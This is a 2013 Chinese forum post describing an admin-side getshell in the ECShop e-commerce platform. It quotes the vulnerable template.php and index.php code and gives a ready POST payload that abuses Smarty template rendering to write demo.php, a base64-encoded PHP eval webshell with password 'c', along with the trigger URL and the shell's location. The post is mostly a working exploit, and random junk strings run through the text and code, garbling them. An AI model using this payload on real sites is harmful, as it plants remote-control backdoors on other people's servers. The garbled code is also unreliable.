找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2340|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板' P1 ^& |! k7 i3 t- D
% U. N# @  P2 b, C
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
3 l1 ~0 }6 F' ]2 ?3 r但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
+ x5 o% R2 k/ F) c5 Iadmin/template.php
% D7 O! r* n! T. j* g* w# L
9 ?! V- R; V" A8 f3 \& T1 if ($_REQUEST['act'] == 'update_library')
% N) s) D) M- h( |, o) R- F( R
! b' z' p; X6 y+ c$ i1 R2   3 I( m% Z9 r- E+ o* k. y  W" E" k( `
/ B7 y# d3 B; \, r# {
3 {
0 X, n" R$ g+ P/ F" @( E2 Z$ y, M* Y% E6 J0 C; Q3 `" ?3 |5 ~. H
4     check_authz_json('library_manage');
! |9 E5 V$ y1 T9 D7 b/ g* U' M  D: X5 z  h
5   
: V( P) v" s2 b* C
1 D# |) G1 T/ m" [" |/ k6     $html = stripslashes(json_str_iconv($_POST['html'])); * Z1 ^) o8 K9 |' |! _' J$ X5 K3 D
; {/ q# k8 H6 O, y8 r
7   
% X4 Q5 ]8 E0 ]8 N! f. ^+ |
+ B' {# n, y+ n  X% s8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 0 o. U' ?& {! r. l: C

, ^8 |9 w1 m$ l$ S2 @9   . \1 o) r! h" E- q0 e2 K0 X) o

2 L" @: X, I5 j) Z) B. Y0 f- Y5 l10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 4 p9 B+ O  T  c7 A
8 `, B, V1 T) g) v& G! O
11   % n2 e8 h' t* I0 R+ C" `  L( d
2 |4 N# i9 {1 R& o5 n
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); " [; H0 B: q, x! p0 t: B
9 }( e9 [& T& u  `) y
13   
, c: V7 g# N7 ~% n0 M
% i5 ~$ e+ l$ U. ?. U8 m8 ]14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
3 K$ f8 s/ `6 \/ o/ @
" c/ ?6 p9 [5 h4 @3 a! ?! e1 ^15     {
8 I% @' Y$ U2 n3 L' ]" h) u; y  F, I/ J0 k
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
. F, o! D( G. G9 L5 w" ]/ P% o% x' w% n3 p( b; I7 a& m/ X  N
17         make_json_result('', $_LANG['update_lib_success']); 4 q, b9 x$ B0 K
. R6 c# v9 e/ W1 E; y$ ]
18     }
# v: Q" M5 s; F# |% K2 ]9 b
/ X- |3 H2 A1 A* z" p19     else / c. T' h( i4 W, m+ a
1 t$ I  g* d6 O$ M7 Q( m
20     { : F7 a* v; _: [7 G! r1 g2 K+ d

3 h* T6 H( q$ L7 P2 p21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); . I, s4 W& O# H0 \4 N* l
( J" G( G7 c3 @4 v. [
22     }
' A4 Q+ H2 `: ^. Y* j9 c' X* X1 [' w6 R7 k% r4 o* q2 q% G/ o3 i- }
23 }
8 O$ \2 O# W! F, }8 x7 p' s, }1 a7 f5 _$ q3 K0 C
那么找个比较方便调用了模板的文件
# J' o0 L# W, d) P2 ?! iindex.php; [+ @3 A+ ?1 c3 j
% a$ I9 v8 }6 M9 e' {) C! o* F$ {
1 if ($act == 'cat_rec') * F; J" g  g% n- p& z/ R

% l5 W" R! t% @2   
# F5 J6 k" o' s
) `, y. q# I+ F. X: L3 {
3 Z0 v0 e, z0 k
3 F" j8 a- L4 A" |0 y2 g* X4   ( @: G- Q+ ]/ B% Y
: b; s2 G8 G9 W/ V+ P  U/ Z4 r
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); / I# E* Q" p7 A* a7 z0 q+ P
) L0 L; j+ ?" t- u5 H
6   
$ e* z  X& E! X) r& n& o: v/ q% O. Y3 h) T/ p, D
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
6 n3 B1 w( |2 z& w
( l' q. n. Z, U) n* }  K8   
% a: ^( S  n: d- ]' E9 \5 F; }7 A
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; ' c% ]; N0 |/ Z5 i
* k' i; n- ?$ c  ^, e2 U  e
10   / B6 K6 o. M) c- B- H8 h

  T- u4 ], d% r( |0 X) ^3 @11     include_once('includes/cls_json.php');
% ], E6 p+ c* v* O, `. b. k' q4 O; `7 Z. ^3 M
12   & R0 L4 D  d. k9 j" m! ]  q% e
, D( G4 n; V. D0 s* B' k! q3 N- A
13     $json = new JSON;
# Y# ~' S% n$ Q" [: t
$ C3 h& n4 i( r- g14   ! H( a  U) G! Y5 K6 j" a
* C9 E- d. S7 `+ y! ^
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
/ M, y: `4 U* i, I3 W- Y, T3 G$ L3 t! o* ?- v7 @
16   
5 _$ M5 _$ I! m9 z: p1 \: a& c4 }9 p, e/ {
17     $children = get_children($cat_id); . e1 m/ D- z# B$ Y6 b8 j$ \( ?
  ^& l8 m$ j# r- `; R  Y
18   
' l: z" J2 e6 H. @  |. C' I/ O3 v: Z' S7 U* z0 b# p" A
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 3 G. ?6 w* k2 A5 k% _& H) W/ v
  o3 w* n4 h7 X) t8 ^, V
20   
* A" z* k7 l2 h* W( X3 b  b. T6 D3 w! V6 X; x& e5 @
21     $smarty->assign('cat_rec_sign', 1);
/ q1 H# G- g* L& y3 J0 S* q" X% [" Q0 G/ E4 T$ @. l! x
22   
  i1 i+ F& k+ f/ S3 |! o: A: X1 v$ ]4 B/ k
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best + d1 L2 t. E' M4 ?. G

7 o8 M7 ^2 t$ r+ O! ^) I/ q, K. T24   - Q7 e( }! E1 h: l/ |. L; H

; J  d5 q$ V$ s( U# a! s  |25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
4 Y* g( m, z; V% |7 Z5 X4 R% Y% T# F
26   
. }+ U8 Y$ J) D( a2 m2 a0 S2 d9 F6 V) f1 E  c! M' E# N9 T
27         echo $rec_array[$rec_type];
7 ?4 R% h5 o3 W! L8 K" z2 J  M: p
28   
0 c4 \9 x8 K" _1 L# G9 v  t
; l' `9 ]! }3 f( b8 L! P29     die($json->encode($result));
) M3 p2 y( V, w9 z' y- d7 J: I$ Z( h1 @' U0 f- D* U
30   ) O4 n9 S2 X/ T/ n6 u& U6 Y
- p; w' L* [, [! R* S. o( z
31 }
" b) a0 B. b4 R# ?0 u
' K4 F# h  L3 b那么就有利用方法了
% t# F- Z/ x6 M/ c/ k7 Jpost包到http://localhost/ec/admin/template.php?act=update_library
2 h% I/ T0 C7 {  P( J  n  F. F! ?Post内容:& d+ P2 f* |6 n7 S+ J6 m

) h, l  J3 M% i
- v+ e8 d5 j: Z" x5 ?1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
' e$ F6 u+ u1 U( A! i& L6 ?# a6 ~8 |+ }& \7 R0 G' C
然后访问http://localhost/ec/index.php?act=cat_rec
# G( X9 y* ?* G$ f: y! J6 I' g" q% Z
shel地址:http://localhost/ec/demo.php
6 J* [1 |) E0 `( X8 V7 ~密码c$ V& P' @# A7 w) b
1 n7 K& z& v1 Q; V) @2 P0 F- J( o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表